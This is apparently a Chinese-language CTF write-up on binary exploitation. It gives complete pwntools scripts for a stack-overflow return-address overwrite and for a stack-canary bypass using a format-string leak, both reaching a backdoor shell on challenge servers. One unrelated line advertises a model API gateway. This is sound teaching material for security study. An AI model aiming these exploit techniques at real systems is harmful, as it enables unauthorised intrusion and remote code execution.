1. 项目背景与挑战解析
最近在参与CTF竞赛时遇到了一系列有趣的二进制安全挑战,这些题目涵盖了从基础栈溢出到高级利用技巧的多个层面。作为一名安全研究员,我记录下了解决这些挑战的完整思路和具体实现方法,希望能为同样对二进制安全感兴趣的朋友提供参考。
这些题目主要考察以下几个方面的技能:
- 基础栈溢出利用
- 格式化字符串漏洞
- 堆利用技巧
- 高级ROP链构造
- 沙箱逃逸技术
- 各种保护机制的绕过方法
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 基础栈溢出实战案例
2.1 简单栈溢出利用
在str_err这道题中,我们发现了一个典型的栈溢出漏洞。通过IDA分析,可以确认以下几点关键信息:
- 存在两个read函数调用,均可导致栈溢出
- 第一个read通过strcpy覆盖correct_password
- 第二个read可以直接覆盖返回地址
- 程序中存在明显的后门函数
利用思路非常直接:
- 第一个read填充任意数据(这里用了5个'a')
- 第二个read先写入正确的密码"Secret"
- 然后用空字节填充直到返回地址位置
- 最后覆盖返回地址为后门函数地址
python复制from pwn import *
p = remote('challenge2.pctf.top', 30987)
key = 0x40125B
ret = 0x40125A
payload1 = 5*b'a'
p.sendlineafter("Please input your username: ", payload1)
payload2 = b'Secret' + 98*b'\x00' + p64(ret) + p64(key)
p.sendafter("Please input your password: ", payload2)
p.interactive()
2.2 Canary保护绕过
在ret2bzdr题目中,程序开启了Canary保护,但存在格式化字符串漏洞可以利用:
- 首先通过格式化字符串泄露Canary值
- 然后构造ROP链调用后门函数
- 由于没有过滤"sh",可以直接获取shell
python复制from pwn import *
p = remote('challenge1.pctf.top', 30959)
p.recvuntil("can u solve canary?")
p.sendline(b"%23$p")
leak = p.recvline().strip()
canary = int(leak, 16)
ret = 0x40101a
payload = 136*b'a' + p64(canary) + b'a'*8 + p64(ret) + p64(0x4013AD)
p.sendline(payload)
p.sendlineafter("OH,NO!!!HACKER!!!DON'T COME!!!", b"sh")
